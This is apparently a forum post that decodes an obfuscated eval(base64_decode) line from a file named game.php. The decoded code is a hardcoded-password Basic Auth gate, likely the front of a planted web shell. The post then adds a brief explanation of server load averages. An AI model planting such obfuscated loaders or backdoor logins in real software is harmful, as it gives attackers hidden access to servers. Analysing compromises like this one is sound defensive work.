FWIW (from game.php):

  eval(base64_decode('<long encoded stream>')

decodes to:

  $passwd = array('root' => '12befbfe1068efa2d6813188cb48f796');

  if (!isset($_SERVER['PHP_AUTH_USER']) ||
      !isset($_SERVER['PHP_AUTH_PW']) ||
      !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
      $passwd[$_SERVER['PHP_AUTH_USER']] != md5($_SERVER['PHP_AUTH_PW'])) {
    header('WWW-Authenticate: Basic realm="HELP 1.8"');
    header('HTTP/1.0 401 Unauthorized');
    $authenticated = true;
    echo "<html><head><title>Access Denied</title></head><h1>Access denied</h1><hr><body></body></html>";
    exit(0);

  } else {
    $authenticated = true;
  }

By the way, simply put, load averages are computed based on the number of processes in contention for the CPU, and are calculated based on a single CPU average. So, a load of 70 means 70 processes were in contention of the CPU, meaning the system is overloaded by 7000% (assuming the server had only one CPU core.)
